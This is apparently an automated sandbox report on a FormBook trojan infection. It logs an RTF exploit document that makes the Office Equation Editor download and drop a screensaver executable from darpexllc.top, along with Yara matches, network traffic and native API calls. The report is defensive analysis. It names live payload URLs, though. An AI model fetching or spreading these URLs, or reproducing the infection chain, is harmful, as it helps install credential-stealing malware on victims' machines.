Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 188.114.97.3:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 188.114.97.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443
Source: global traffic	TCP traffic: 188.114.96.3:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 188.114.96.3:443

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View	JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: global traffic	HTTP traffic detected: GET /milli.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: darpexllc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /milli.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: darpexllc.topConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49162 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.22:49162 -> 188.114.96.3:443 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49163 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49164 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49165 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49169 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49170 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{56C650F8-251B-4F9F-9E2B-F04CCC4FE6B6}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /milli.doc HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: darpexllc.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /milli.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: darpexllc.topConnection: Keep-Alive

Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic

DNS traffic detected: DNS query: darpexllc.top

Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.399403715.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr	String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.0000000000588000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.use
Source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.399403715.00000000042B0000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: EQNEDT32.EXE, 00000009.00000002.398305122.0000000000588000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: EQNEDT32.EXE, 00000009.00000002.398305122.0000000000588000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: milliano89012.scr, 0000000A.00000002.415822878.000000000291B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: darpexllc.top.url.0.dr	String found in binary or memory: https://darpexllc.top/
Source: EQNEDT32.EXE, 00000009.00000003.398096588.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/B
Source: EQNEDT32.EXE, 00000009.00000003.398096588.00000000005A1000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/E
Source: milli.doc.url.0.dr	String found in binary or memory: https://darpexllc.top/milli.doc
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000009.00000002.398305122.0000000000524000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.399403715.00000000042B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/milli.scr
Source: EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.399403715.00000000042B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/milli.scrC:
Source: EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/milli.scrX
Source: EQNEDT32.EXE, 00000009.00000002.398305122.000000000052F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/milli.scrj
Source: EQNEDT32.EXE, 00000009.00000002.398305122.000000000052F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://darpexllc.top/milli.scrjjC:
Source: EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.00000000005B2000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000002.398305122.0000000000588000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.0000000000588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: EQNEDT32.EXE, 00000009.00000003.398076749.00000000042BE000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398084054.00000000005AB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398110610.00000000042BB000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000009.00000003.398096588.000000000055B000.00000004.00000020.00020000.00000000.sdmp, milliano89012.scr.9.dr, milli[1].scr.9.dr	String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0

Source: unknown	Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49169
Source: unknown	Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown	Network traffic detected: HTTP traffic on port 49162 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49168 version: TLS 1.2

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 13.2.milliano89012.scr.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 13.2.milliano89012.scr.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.440945111.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000D.00000002.440917451.0000000000160000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc, type: DROPPED	Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen

Microsoft Office drops suspicious files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\milli.doc.url			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\darpexllc.top.url			Jump to behavior

Office equation editor drops PE file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\milliano89012.scr			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_0042CE2F NtClose,	13_2_0042CE2F
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA07AC NtCreateMutant,LdrInitializeThunk,	13_2_00DA07AC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9F9F0 NtClose,LdrInitializeThunk,	13_2_00D9F9F0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FAE8 NtQueryInformationProcess,LdrInitializeThunk,	13_2_00D9FAE8
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FB68 NtFreeVirtualMemory,LdrInitializeThunk,	13_2_00D9FB68
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FDC0 NtQuerySystemInformation,LdrInitializeThunk,	13_2_00D9FDC0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA00C4 NtCreateFile,	13_2_00DA00C4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA0048 NtProtectVirtualMemory,	13_2_00DA0048
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA0078 NtResumeThread,	13_2_00DA0078
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA0060 NtQuerySection,	13_2_00DA0060
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA01D4 NtSetValueKey,	13_2_00DA01D4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA010C NtOpenDirectoryObject,	13_2_00DA010C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA0C40 NtGetContextThread,	13_2_00DA0C40
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA10D0 NtOpenProcessToken,	13_2_00DA10D0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA1148 NtOpenThread,	13_2_00DA1148
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9F8CC NtWaitForSingleObject,	13_2_00D9F8CC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9F900 NtReadFile,	13_2_00D9F900
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9F938 NtWriteFile,	13_2_00D9F938
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA1930 NtSetContextThread,	13_2_00DA1930
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FAD0 NtAllocateVirtualMemory,	13_2_00D9FAD0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FAB8 NtQueryValueKey,	13_2_00D9FAB8
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FA50 NtEnumerateValueKey,	13_2_00D9FA50
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FA20 NtQueryInformationFile,	13_2_00D9FA20
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FBE8 NtQueryVirtualMemory,	13_2_00D9FBE8
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FBB8 NtQueryInformationToken,	13_2_00D9FBB8
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FB50 NtCreateKey,	13_2_00D9FB50
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FC90 NtUnmapViewOfSection,	13_2_00D9FC90
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FC48 NtSetInformationFile,	13_2_00D9FC48
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FC60 NtMapViewOfSection,	13_2_00D9FC60
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FC30 NtOpenProcess,	13_2_00D9FC30
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FD8C NtDelayExecution,	13_2_00D9FD8C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00DA1D80 NtSuspendThread,	13_2_00DA1D80
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FD5C NtEnumerateKey,	13_2_00D9FD5C
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FED0 NtAdjustPrivilegesToken,	13_2_00D9FED0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FEA0 NtReadVirtualMemory,	13_2_00D9FEA0
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FE24 NtWriteVirtualMemory,	13_2_00D9FE24
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FFFC NtCreateProcessEx,	13_2_00D9FFFC
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FFB4 NtCreateSection,	13_2_00D9FFB4
Source: C:\Users\user\AppData\Roaming\milliano89012.scr	Code function: 13_2_00D9FF34 NtQueueApcThread,	13_2_00D9FF34

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 9_2_00542F90	9_2_00542F90
